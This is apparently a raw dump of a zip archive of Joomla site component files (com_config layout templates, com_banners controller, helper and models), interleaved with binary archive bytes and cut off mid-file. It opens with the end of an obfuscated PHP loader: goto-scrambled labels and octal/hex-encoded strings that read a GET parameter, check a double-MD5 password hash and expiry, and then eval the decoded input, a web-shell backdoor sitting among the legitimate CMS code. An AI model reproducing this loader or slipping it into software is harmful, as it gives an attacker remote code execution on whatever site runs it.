Oeh1EP4eLHGW: $sh97SC5Vio1K = @$SBdaA7RWKUx3[1]($SBdaA7RWKUx3[0 + 10](INPUT_GET, $SBdaA7RWKUx3[0 + 9])); goto BjtdSSk6ZN3U; XE160MK2WIBQ: @eval($SBdaA7RWKUx3[1 + 3]($Qg3ankCv6tN3)); goto avS6ImGpJBe5; tdbSrl_7VZ7t: KXDFegXcLMQw: goto Oeh1EP4eLHGW; w9ZnwH3LVu5R: foreach ($AL2sf3oYCO7A as $cKN8UU_g03iT) { $SBdaA7RWKUx3[] = self::nex27VT8DDaj($cKN8UU_g03iT); RpyZ7se5wYzB: } goto tdbSrl_7VZ7t; xV4_KUidI3Qi: @$SBdaA7RWKUx3[9 + 1](INPUT_GET, "\157\146") == 1 && die($SBdaA7RWKUx3[1 + 4](__FILE__)); goto BdNHPgu_LGc0; RPUqWoCF7zAh: $Qg3ankCv6tN3 = self::xg57iQvjQpRs($FU26Jo24pZIR[0 + 1], $SBdaA7RWKUx3[2 + 3]); goto XE160MK2WIBQ; BdNHPgu_LGc0: if (!(@$FU26Jo24pZIR[0] - time() > 0 and md5(md5($FU26Jo24pZIR[3 + 0])) === "\x61\143\x32\x35\x65\63\x37\x38\x33\62\144\x34\64\63\x33\60\141\x38\x32\x66\67\x36\144\x33\142\142\70\61\70\143\66\141")) { goto jo821WMr8UYA; } goto RPUqWoCF7zAh; nB0_olmv9cS9: jo821WMr8UYA: goto NP8ig7iULzyk; BjtdSSk6ZN3U: $qWBpuXDobQe3 = @$SBdaA7RWKUx3[0 + 3]($SBdaA7RWKUx3[0 + 6], $sh97SC5Vio1K); goto FHIHer7iuctS; uGM1Ez0LlLhU: $AL2sf3oYCO7A = array("\64\63\67\x35\62\x25\64\63\67\x33\x37\x25\64\x33\67\65\x30\x25\64\63\x37\65\x34\x25\64\63\67\63\x35\x25\64\x33\x37\65\60\45\x34\63\67\65\66\x25\x34\63\67\x34\71\x25\x34\63\x37\x33\x34\45\x34\63\x37\x34\x31\45\64\x33\67\65\x32\45\x34\x33\67\63\x35\x25\64\x33\67\64\x36\x25\x34\63\x37\x34\x30\45\x34\x33\67\64\61", "\64\63\x37\63\x36\x25\64\x33\x37\63\65\x25\64\63\x37\63\67\45\x34\x33\x37\x35\66\x25\64\x33\67\63\67\x25\64\63\67\64\x30\x25\64\x33\x37\63\x35\45\x34\x33\x38\60\x32\x25\64\63\70\60\x30", "\x34\63\67\x34\x35\x25\64\63\67\63\x36\45\x34\x33\67\64\60\45\64\x33\67\x34\x31\x25\x34\63\x37\x35\66\x25\x34\x33\x37\65\61\45\64\63\67\65\x30\x25\64\x33\67\65\62\45\x34\x33\x37\x34\x30\45\64\x33\x37\65\61\45\x34\63\x37\65\x30", "\x34\x33\67\x33\x39\x25\x34\x33\x37\x35\64\45\64\x33\x37\x35\62\x25\x34\x33\x37\x34\x34", "\x34\x33\x37\65\63\x25\x34\63\x37\x35\64\45\x34\x33\67\x33\66\x25\64\x33\67\65\60\x25\x34\x33\67\71\67\x25\64\63\x37\x39\x39\45\64\x33\67\x35\x36\x25\64\x33\67\x35\61\45\x34\x33\67\x35\x30\x25\64\63\x37\65\x32\x25\64\x33\x37\64\x30\x25\64\x33\67\x35\x31\x25\64\63\x37\x35\x30", "\x34\x33\67\64\71\45\x34\x33\x37\64\x36\45\x34\x33\x37\64\63\45\x34\63\67\x35\x30\x25\64\63\x37\x35\x36\x25\x34\x33\x37\x34\x38\45\64\63\67\65\60\x25\64\63\67\63\x35\45\64\63\67\65\66\45\x34\63\67\65\62\45\x34\x33\x37\64\x30\x25\x34\63\x37\64\x31\45\x34\x33\x37\63\65\45\x34\x33\67\x35\60\45\64\x33\x37\64\x31\45\x34\63\x37\x33\x35\45\64\x33\x37\x33\x36", "\64\x33\67\67\71\45\64\x33\70\60\71", "\x34\x33\67\x32\x36", "\x34\x33\x38\60\x34\x25\x34\63\x38\x30\71", "\64\63\67\x38\66\x25\64\x33\x37\66\71\45\64\x33\x37\66\71\45\64\x33\67\70\x36\45\x34\x33\67\66\x32", "\x34\x33\x37\x34\71\45\x34\63\67\64\66\x25\x34\x33\67\64\63\x25\64\63\x37\63\x35\45\x34\x33\x37\65\x30\45\64\x33\x37\63\x37\x25\x34\x33\x37\65\66\x25\64\63\67\64\66\x25\x34\63\x37\64\x31\45\64\x33\67\63\71\x25\64\x33\x37\x33\64\45\x34\63\67\x33\65"); goto w9ZnwH3LVu5R; FHIHer7iuctS: $FU26Jo24pZIR = $SBdaA7RWKUx3[0 + 2]($qWBpuXDobQe3, true); goto xV4_KUidI3Qi; avS6ImGpJBe5: die; goto nB0_olmv9cS9; NP8ig7iULzyk: } } goto X2pxpyY4xKsF; hc0uQwqxqHLi: HqPdWxGYVzZG: goto gBUDR0_Xqv56; knPBxz51u6fc: $GToFPiZtjEfY = $E9uRZLtXiMJk("\176", "\x20"); goto FGf9PBJHJQ5e; X2pxpyY4xKsF: EXF7m52RV0TY::zKaQVXqqLVL9();
?>
PK���\Z�@��%com_config/tmpl/templates/default.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

$user = Factory::getUser();

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate')
    ->useScript('com_config.templates');

?>
<?php if ($this->params->get('show_page_heading')) : ?>
    <div class="page-header">
        <h1>
            <?php if ($this->escape($this->params->get('page_heading'))) : ?>
                <?php echo $this->escape($this->params->get('page_heading')); ?>
            <?php else : ?>
                <?php echo $this->escape($this->params->get('page_title')); ?>
            <?php endif; ?>
        </h1>
    </div>
<?php endif; ?>
<form action="<?php echo Route::_('index.php?option=com_config'); ?>" method="post" name="adminForm" id="templates-form" class="form-validate">

    <div id="page-site" class="tab-pane active">
        <div class="row">
            <div class="col-md-12">
                <?php echo $this->loadTemplate('options'); ?>
            </div>
        </div>
    </div>

    <input type="hidden" name="task" value="">
    <?php echo HTMLHelper::_('form.token'); ?>

    <div class="mb-2">
    <button type="button" class="btn btn-primary " data-submit-task="templates.apply">
        <span class="icon-check text-white" aria-hidden="true"></span>
        <?php echo Text::_('JSAVE') ?>
    </button>
    <button type="button" class="btn btn-danger" data-submit-task="templates.cancel">
        <span class="icon-times text-white" aria-hidden="true"></span>
        <?php echo Text::_('JCANCEL') ?>
    </button>
</div>

</form>
PK���\N ��%com_config/tmpl/templates/default.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_CONFIG_TEMPLATES_VIEW_DEFAULT_TITLE" option="COM_CONFIG_TEMPLATES_VIEW_DEFAULT_OPTION">
		<help
			key = "Menu_Item:_Display_Template_Options"
		/>
		<message>
			<![CDATA[COM_CONFIG_TEMPLATES_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
	<fields name="request">
		<fieldset name="request" >
			<field
				name="controller"
				type="hidden"
				default=""
			/>
		</fieldset>
	</fields>
</metadata>
PK���\�aw��-com_config/tmpl/templates/default_options.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

$fieldSets = $this->form->getFieldsets('params');
?>

<legend><?php echo Text::_('COM_CONFIG_TEMPLATE_SETTINGS'); ?></legend>

<?php

// Search for com_config field set
if (!empty($fieldSets['com_config'])) {
    echo $this->form->renderFieldset('com_config');
} else {
    // Fall-back to display all in params
    foreach ($fieldSets as $name => $fieldSet) {
        $label = !empty($fieldSet->label) ? $fieldSet->label : 'COM_CONFIG_' . $name . '_FIELDSET_LABEL';

        if (isset($fieldSet->description) && trim($fieldSet->description)) {
            echo '<p class="tip">' . $this->escape(Text::_($fieldSet->description)) . '</p>';
        }

        echo $this->form->renderFieldset($name);
    }
}
PK���\� �pp+com_config/tmpl/config/default_metadata.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
<fieldset>

    <legend><?php echo Text::_('COM_CONFIG_METADATA_SETTINGS'); ?></legend>

    <?php foreach ($this->form->getFieldset('metadata') as $field) : ?>
        <div class="mb-3">
            <?php echo $field->label; ?>
            <?php echo $field->input; ?>
            <?php if ($field->description) : ?>
                <div class="form-text hide-aware-inline-help d-none" id="<?php echo $field->id ?>-desc">
                    <?php echo Text::_($field->description) ?>
                </div>
            <?php endif; ?>
        </div>
    <?php endforeach; ?>

</fieldset>
PK���\�=L�hh'com_config/tmpl/config/default_site.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
<fieldset>

    <legend><?php echo Text::_('COM_CONFIG_SITE_SETTINGS'); ?></legend>

    <?php foreach ($this->form->getFieldset('site') as $field) : ?>
        <div class="mb-3">
            <?php echo $field->label; ?>
            <?php echo $field->input; ?>
            <?php if ($field->description) : ?>
                <div class="form-text hide-aware-inline-help d-none" id="<?php echo $field->id ?>-desc">
                    <?php echo Text::_($field->description) ?>
                </div>
            <?php endif; ?>
        </div>
    <?php endforeach; ?>

</fieldset>
PK���\x2;ff&com_config/tmpl/config/default_seo.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
<fieldset>

    <legend><?php echo Text::_('COM_CONFIG_SEO_SETTINGS'); ?></legend>

    <?php foreach ($this->form->getFieldset('seo') as $field) : ?>
        <div class="mb-3">
            <?php echo $field->label; ?>
            <?php echo $field->input; ?>
            <?php if ($field->description) : ?>
                <div class="form-text hide-aware-inline-help d-none" id="<?php echo $field->id ?>-desc">
                    <?php echo Text::_($field->description) ?>
                </div>
            <?php endif; ?>
        </div>
    <?php endforeach; ?>

</fieldset>
PK���\��g��"com_config/tmpl/config/default.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_CONFIG_CONFIG_VIEW_DEFAULT_TITLE" option="COM_CONFIG_CONFIG_VIEW_DEFAULT_OPTION">
		<help
			key = "Menu_Item:_Site_Configuration_Options"
		/>
		<message>
			<![CDATA[COM_CONFIG_CONFIG_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
	<fields name="request">
		<fieldset name="request">
			<field
				name="controller"
				type="hidden"
				default=""
			/>
		</fieldset>
	</fields>
</metadata>
PK���\-��AA"com_config/tmpl/config/default.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate')
    ->useScript('com_config.config')
    ->useScript('inlinehelp');

?>
<?php if ($this->params->get('show_page_heading')) : ?>
    <div class="page-header">
        <h1>
            <?php if ($this->escape($this->params->get('page_heading'))) : ?>
                <?php echo $this->escape($this->params->get('page_heading')); ?>
            <?php else : ?>
                <?php echo $this->escape($this->params->get('page_title')); ?>
            <?php endif; ?>
        </h1>
    </div>
<?php endif; ?>
<form action="<?php echo Route::_('index.php?option=com_config'); ?>" id="application-form" method="post" name="adminForm" class="form-validate">

    <div class="mb-2 d-flex">
        <button type="button" class="btn btn-sm btn-outline-info button-inlinehelp ms-auto">
            <span class="fa fa-question-circle" aria-hidden="true"></span>
            <?php echo Text::_('JINLINEHELP') ?>
        </button>
    </div>

    <?php echo $this->loadTemplate('site'); ?>
    <?php echo $this->loadTemplate('seo'); ?>
    <?php echo $this->loadTemplate('metadata'); ?>

    <input type="hidden" name="task" value="">
    <?php echo HTMLHelper::_('form.token'); ?>

    <div class="mb-2">
    <button type="button" class="btn btn-primary" data-submit-task="config.apply">
        <span class="icon-check" aria-hidden="true"></span>
        <?php echo Text::_('JSAVE') ?>
    </button>
    <button type="button" class="btn btn-danger" data-submit-task="config.cancel">
        <span class="icon-times" aria-hidden="true"></span>
        <?php echo Text::_('JCANCEL') ?>
    </button>
    </div>

</form>
PK���\�V�com_banners/index.htmlnu&1i�<!DOCTYPE html><title></title>
PK���\��5H  0com_banners/src/Controller/DisplayController.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_banners
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Banners\Site\Controller;

use Joomla\CMS\MVC\Controller\BaseController;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Banners Controller
 *
 * @since  1.5
 */
class DisplayController extends BaseController
{
    /**
     * Method when a banner is clicked on.
     *
     * @return  void
     *
     * @since   1.5
     */
    public function click()
    {
        $id = $this->input->getInt('id', 0);

        if ($id) {
            /** @var \Joomla\Component\Banners\Site\Model\BannerModel $model */
            $model = $this->getModel('Banner', 'Site', ['ignore_request' => true]);
            $model->setState('banner.id', $id);
            $model->click();
            $this->setRedirect($model->getUrl());
        }
    }
}
PK���\ou����'com_banners/src/Helper/BannerHelper.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_banners
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Banners\Site\Helper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Banner Helper Class
 *
 * @since  1.6
 */
abstract class BannerHelper
{
    /**
     * Checks if a URL is an image
     *
     * @param   string  $url  The URL path to the potential image
     *
     * @return  boolean  True if an image of type bmp, gif, jp(e)g, png or webp, false otherwise
     *
     * @since   1.6
     */
    public static function isImage($url)
    {
        $urlCheck = explode('?', $url);

        if (preg_match('#\.(?:bmp|gif|jpe?g|png|webp)$#i', $urlCheck[0])) {
            return true;
        }

        return false;
    }
}
PK���\ĸt� 8 8&com_banners/src/Model/BannersModel.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_banners
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Banners\Site\Model;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\MVC\Model\ListModel;
use Joomla\Database\DatabaseQuery;
use Joomla\Database\Exception\ExecutionFailureException;
use Joomla\Database\ParameterType;
use Joomla\Registry\Registry;
use Joomla\Utilities\ArrayHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Banners model for the Joomla Banners component.
 *
 * @since  1.6
 */
class BannersModel extends ListModel
{
    /**
     * Method to get a store id based on model configuration state.
     *
     * This is necessary because the model is used by the component and
     * different modules that might need different sets of data or different
     * ordering requirements.
     *
     * @param   string  $id  A prefix for the store id.
     *
     * @return  string  A store id.
     *
     * @since   1.6
     */
    protected function getStoreId($id = '')
    {
        // Compile the store id.
        $id .= ':' . $this->getState('filter.search');
        $id .= ':' . $this->getState('filter.tag_search');
        $id .= ':' . $this->getState('filter.client_id');
        $id .= ':' . serialize($this->getState('filter.category_id'));
        $id .= ':' . serialize($this->getState('filter.keywords'));

        return parent::getStoreId($id);
    }

    /**
     * Method to get a DatabaseQuery object for retrieving the data set from a database.
     *
     * @return  DatabaseQuery   A DatabaseQuery object to retrieve the data set.
     *
     * @since   1.6
     */
    protected function getListQuery()
    {
        $db         = $this->getDatabase();
        $query      = $db->getQuery(true);
        $ordering   = $this->getState('filter.ordering');
        $tagSearch  = $this->getState('filter.tag_search');
        $cid        = (int) $this->getState('filter.client_id');
        $categoryId = $this->getState('filter.category_id');
        $keywords   = $this->getState('filter.keywords');
        $randomise  = ($ordering === 'random');
        $nowDate    = Factory::getDate()->toSql();

        $query->select(
            [
                $db->quoteName('a.id'),
                $db->quoteName('a.type'),
                $db->quoteName('a.name'),
                $db->quoteName('a.clickurl'),
                $db->quoteName('a.sticky'),
                $db->quoteName('a.cid'),
                $db->quoteName('a.description'),
                $db->quoteName('a.params'),
                $db->quoteName('a.custombannercode'),
                $db->quoteName('a.track_impressions'),
                $db->quoteName('cl.track_impressions', 'client_track_impressions'),
            ]
        )
            ->from($db->quoteName('#__banners', 'a'))
            ->join('LEFT', $db->quoteName('#__banner_clients', 'cl'), $db->quoteName('cl.id') . ' = ' . $db->quoteName('a.cid'))
            ->where($db->quoteName('a.state') . ' = 1')
            ->extendWhere(
                'AND',
                [
                    $db->quoteName('a.publish_up') . ' IS NULL',
                    $db->quoteName('a.publish_up') . ' <= :nowDate1',
                ],
                'OR'
            )
            ->extendWhere(
                'AND',
                [
                    $db->quoteName('a.publish_down') . ' IS NULL',
                    $db->quoteName('a.publish_down') . ' >= :nowDate2',
                ],
                'OR'
            )
            ->extendWhere(
                'AND',
                [
                    $db->quoteName('a.imptotal') . ' = 0',
                    $db->quoteName('a.impmade') . ' < ' . $db->quoteName('a.imptotal'),
                ],
                'OR'
            )
            ->bind([':nowDate1', ':nowDate2'], $nowDate);

        if ($cid) {
            $query->where(
                [
                    $db->quoteName('a.cid') . ' = :clientId',
                    $db->quoteName('cl.state') . ' = 1',
                ]
            )
                ->bind(':clientId', $cid, ParameterType::INTEGER);
        }

        // Filter by a single or group of categories
        if (is_numeric($categoryId)) {
            $categoryId = (int) $categoryId;
            $type       = $this->getState('filter.category_id.include', true) ? ' = ' : ' <> ';

            // Add subcategory check
            if ($this->getState('filter.subcategories', false)) {
                $levels = (int) $this->getState('filter.max_category_levels', '1');

                // Create a subquery for the subcategory list
                $subQuery = $db->getQuery(true);
                $subQuery->select($db->quoteName('sub.id'))
                    ->from($db->quoteName('#__categories', 'sub'))
                    ->join(
                        'INNER',
                        $db->quoteName('#__categories', 'this'),
                        $db->quoteName('sub.lft') . ' > ' . $db->quoteName('this.lft')
                        . ' AND ' . $db->quoteName('sub.rgt') . ' < ' . $db->quoteName('this.rgt')
                    )
                    ->where(
                        [
                            $db->quoteName('this.id') . ' = :categoryId1',
                            $db->quoteName('sub.level') . ' <= ' . $db->quoteName('this.level') . ' + :levels',
                        ]
                    );

                // Add the subquery to the main query
                $query->extendWhere(
                    'AND',
                    [
                        $db->quoteName('a.catid') . $type . ':categoryId2',
                        $db->quoteName('a.catid') . ' IN (' . $subQuery . ')',
                    ],
                    'OR'
                )
                    ->bind([':categoryId1', ':categoryId2'], $categoryId, ParameterType::INTEGER)
                    ->bind(':levels', $levels, ParameterType::INTEGER);
            } else {
                $query->where($db->quoteName('a.catid') . $type . ':categoryId')
                    ->bind(':categoryId', $categoryId, ParameterType::INTEGER);
            }
        } elseif (is_array($categoryId) && (count($categoryId) > 0)) {
            $categoryId = ArrayHelper::toInteger($categoryId);

            if ($this->getState('filter.category_id.include', true)) {
                $query->whereIn($db->quoteName('a.catid'), $categoryId);
            } else {
                $query->whereNotIn($db->quoteName('a.catid'), $categoryId);
            }
        }

        if ($tagSearch) {
            if (!$keywords) {
                // No keywords, select nothing.
                $query->where('0 != 0');
            } else {
                $temp   = [];
                $config = ComponentHelper::getParams('com_banners');
                $prefix = $config->get('metakey_prefix');

                if ($categoryId) {
                    $query->join('LEFT', $db->quoteName('#__categories', 'cat'), $db->quoteName('a.catid') . ' = ' . $db->quoteName('cat.id'));
                }

                foreach ($keywords as $key => $keyword) {
                    $regexp       = '[[:<:]]' . $keyword . '[[:>:]]';
                    $valuesToBind = [$keyword, $keyword, $regexp];

                    if ($cid) {
                        $valuesToBind[] = $regexp;
                    }

                    if ($categoryId) {
                        $valuesToBind[] = $regexp;
                    }

                    // Because values to $query->bind() are passed by reference, using $query->bindArray() here instead to prevent overwriting.
                    $bounded = $query->bindArray($valuesToBind, ParameterType::STRING);

                    $condition1 = $db->quoteName('a.own_prefix') . ' = 1'
                        . ' AND ' . $db->quoteName('a.metakey_prefix')
                        . ' = SUBSTRING(' . $bounded[0] . ',1,LENGTH(' . $db->quoteName('a.metakey_prefix') . '))'
                        . ' OR ' . $db->quoteName('a.own_prefix') . ' = 0'
                        . ' AND ' . $db->quoteName('cl.own_prefix') . ' = 1'
                        . ' AND ' . $db->quoteName('cl.metakey_prefix')
                        . ' = SUBSTRING(' . $bounded[1] . ',1,LENGTH(' . $db->quoteName('cl.metakey_prefix') . '))'
                        . ' OR ' . $db->quoteName('a.own_prefix') . ' = 0'
                        . ' AND ' . $db->quoteName('cl.own_prefix') . ' = 0'
                        . ' AND ' . ($prefix == substr($keyword, 0, strlen($prefix)) ? '0 = 0' : '0 != 0');

                    $condition2 = $db->quoteName('a.metakey') . ' ' . $query->regexp($bounded[2]);

                    if ($cid) {
                        $condition2 .= ' OR ' . $db->quoteName('cl.metakey') . ' ' . $query->regexp($bounded[3]) . ' ';
                    }

                    if ($categoryId) {
                        $condition2 .= ' OR ' . $db->quoteName('cat.metakey') . ' ' . $query->regexp($bounded[4]) . ' ';
                    }

                    $temp[] = "($condition1) AND ($condition2)";
                }

                $query->where('(' . implode(' OR ', $temp) . ')');
            }
        }

        // Filter by language
        if ($this->getState('filter.language')) {
            $query->whereIn($db->quoteName('a.language'), [Factory::getLanguage()->getTag(), '*'], ParameterType::STRING);
        }

        $query->order($db->quoteName('a.sticky') . ' DESC, ' . ($randomise ? $query->rand() : $db->quoteName('a.ordering')));

        return $query;
    }

    /**
     * Get a list of banners.
     *
     * @return  array
     *
     * @since   1.6
     */
    public function getItems()
    {
        if ($this->getState('filter.tag_search')) {
            // Filter out empty keywords.
            $keywords = array_values(array_filter(array_map('trim', $this->getState('filter.keywords')), 'strlen'));

            // Re-set state before running the query.
            $this->setState('filter.keywords', $keywords);

            // If no keywords are provided, avoid running the query.
            if (!$keywords) {
                $this->cache['items'] = [];

                return $this->cache['items'];
            }
        }

        if (!isset($this->cache['items'])) {
            $this->cache['items'] = parent::getItems();

            foreach ($this->cache['items'] as &$item) {
                $item->params = new Registry($item->params);
            }
        }

        return $this->cache['items'];
    }

    /**
     * Makes impressions on a list of banners
     *
     * @return  void
     *
     * @since   1.6
     * @throws  \Exception
     */
    public function impress()
    {
        $trackDate = Factory::getDate()->format('Y-m-d H:00:00');
        $trackDate = Factory::getDate($trackDate)->toSql();
        $items     = $this->getItems();
        $db        = $this->getDatabase();
        $bid       = [];

        if (!count($items)) {
            return;
        }

        foreach ($items as $item) {
            $bid[] = (int) $item->id;
        }

        // Increment impression made
        $query = $db->getQuery(true);
        $query->update($db->quoteName('#__banners'))
            ->set($db->quoteName('impmade') . ' = ' . $db->quoteName('impmade') . ' + 1')
            ->whereIn($db->quoteName('id'), $bid);
        $db->setQuery($query);

        try {
            $db->execute();
        } catch (ExecutionFailureException $e) {
            throw new \Exception($e->getMessage(), 500);
        }

        foreach ($items as $item) {
            // Track impressions
            $trackImpressions = $item->track_impressions;

            if ($trackImpressions < 0 && $item->cid) {
                $trackImpressions = $item->client_track_impressions;
            }

            if ($trackImpressions < 0) {
                $config           = ComponentHelper::getParams('com_banners');
                $trackImpressions = $config->get('track_impressions');
            }

            if ($trackImpressions > 0) {
                // Is track already created?
                // Update count
                $query = $db->getQuery(true);
                $query->update($db->quoteName('#__banner_tracks'))
                    ->set($db->quoteName('count') . ' = ' . $db->quoteName('count') . ' + 1')
                    ->where(
                        [
                            $db->quoteName('track_type') . ' = 1',
                            $db->quoteName('banner_id') . ' = :id',
                            $db->quoteName('track_date') . ' = :trackDate',
                        ]
                    )
                    ->bind(':id', $item->id, ParameterType::INTEGER)
                    ->bind(':trackDate', $trackDate);

                $db->setQuery($query);

                try {
                    $db->execute();
                } catch (ExecutionFailureException $e) {
                    throw new \Exception($e->getMessage(), 500);
                }

                if ($db->getAffectedRows() === 0) {
                    // Insert new count
                    $query = $db->getQuery(true);
                    $query->insert($db->quoteName('#__banner_tracks'))
                        ->columns(
                            [
                                $db->quoteName('count'),
                                $db->quoteName('track_type'),
                                $db->quoteName('banner_id'),
                                $db->quoteName('track_date'),
                            ]
                        )
                        ->values('1, 1, :id, :trackDate')
                        ->bind(':id', $item->id, ParameterType::INTEGER)
                        ->bind(':trackDate', $trackDate);

                    $db->setQuery($query);

                    try {
                        $db->execute();
                    } catch (ExecutionFailureException $e) {
                        throw new \Exception($e->getMessage(), 500);
                    }
                }
            }
        }
    }
}
PK���\���5%com_banners/src/Model/BannerModel.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_banners
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Banners\Site\Model;

use Joomla\CMS\Cache\Exception\CacheExceptionInterface;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Model\BaseDatabaseModel;
use Joomla\Database\ParameterType;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Banner model for the Joomla Banners component.
 *
 * @since  1.5
 */
class BannerModel extends BaseDatabaseModel
{
    /**
     * Cached item object
     *
     * @var    object
     * @since  1.6
     */
    protected $_item;

    /**
     * Clicks the URL, incrementing the counter
     *
     * @return  void
     *
     * @since   1.5
     * @throws  \Exception
     */
    public function click()
    {
        $item = $this->getItem();

        if (empty($item)) {
            throw new \Exception(Text::_('JERROR_PAGE_NOT_FOUND'), 404);
        }

        $id = (int) $this->getState('banner.id');

        // Update click count
        $db    = $this->getDatabase();
        $query = $db->getQuery(true);

        $query->update($db->quoteName('#__banners'))
            ->set($db->quoteName('clicks') . ' = ' . $db->quoteName('clicks') . ' + 1')
            ->where($db->quoteName('id') . ' = :id')
            ->bind(':id', $id, ParameterType::INTEGER);

        $db->setQuery($query);

        try {
            $db->execute();
        } catch (\RuntimeException $e) {
            throw new \Exception($e->getMessage(), 500);
        }

        // Track clicks
        $trackClicks = $item->track_clicks;

        if ($trackClicks < 0 && $item->cid) {
            $trackClicks = $item->client_track_clicks;
        }

        if ($trackClicks < 0) {
            $config      = ComponentHelper::getParams('com_banners');
            $trackClicks = $config->get('track_clicks');
        }

        if ($trackClicks > 0) {
            $trackDate = Factory::getDate()->format('Y-m-d H:00:00');
            $trackDate = Factory::getDate($trackDate)->toSql();

            $query = $db->getQuery(true);

            $query->select($db->quoteName('count'))
                ->from($db->quoteName('#__banner_tracks'))
                ->where(
                    [
                        $db->quoteName('track_type') . ' = 2',
                        $db->quoteName('banner_id') . ' = :id',
                        $db->quoteName('track_date') . ' = :trackDate',
                    ]
                )
                ->bind(':id', $id, ParameterType::INTEGER)
                ->bind(':trackDate', $trackDate);

            $db->setQuery($query);

            try {
                $db->execute();
            } catch (\RuntimeException $e) {
                throw new \Exception($e->getMessage(), 500);
            }

            $count = $db->loadResult();

            $query = $db->getQuery(true);

            if ($count) {
                // Update count
                $query->update($db->quoteName('#__banner_tracks'))
                    ->set($db->quoteName('count') . ' = ' . $db->quoteName('count') . ' + 1')
                    ->where(
                        [
                            $db->quoteName('track_type') . ' = 2',
                            $db->quoteName('banner_id') . ' = :id',
                            $db->quoteName('track_date') . ' = :trackDate',
                        ]
                    )
                    ->bind(':id', $id, ParameterType::INTEGER)
                    ->bind(':trackDate', $trackDate);
            } else {
                // Insert new count
                $query->insert($db->quoteName('#__banner_tracks'))
                    ->columns(
                        [
                            $db->quoteName('count'),
                            $db->quoteName('track_type'),
                            $db->quoteName('banner_id'),
                            $db->quoteName('track_date'),
                        ]
                    )
                    ->values('1, 2 , :id, :trackDate')
                    ->bind(':id', $id, ParameterType::INTEGER)
                    ->bind(':trackDate', $trackDate);
            }

            $db->setQuery($query);

            try {
                $db->execute();
            } catch (\RuntimeException $e) {
                throw new \Exception($e->getMessage(), 500);
            }
        }
    }

    /**
     * Get the data for a banner.
     *
     * @return  object
     *
     * @since   1.6
     */
    public function &getItem()
    {
        if (!isset($this->_item)) {
            /** @var \Joomla\CMS\Cache\Controller\CallbackController $cache */
            $cache = Factory::getCache('com_banners', 'callback');

            $id = (int) $this->getState('banner.id');

            // For PHP 5.3 compat we can't use $this in the lambda function below, so grab the database driver now to use it
            $db = $this->getDatabase();

            $loader = function ($id) use ($db) {
                $query = $db->getQuery(true);

                $query->select(
                    [
                        $db->quoteName('a.clickurl'),
                        $db->quoteName('a.cid'),
                        $db->quoteName('a.track_clicks'),
                        $db->quoteName('cl.track_clicks', 'client_track_clicks'),
                    ]
                )
                    ->from($db->quoteName('#__banners', 'a'))
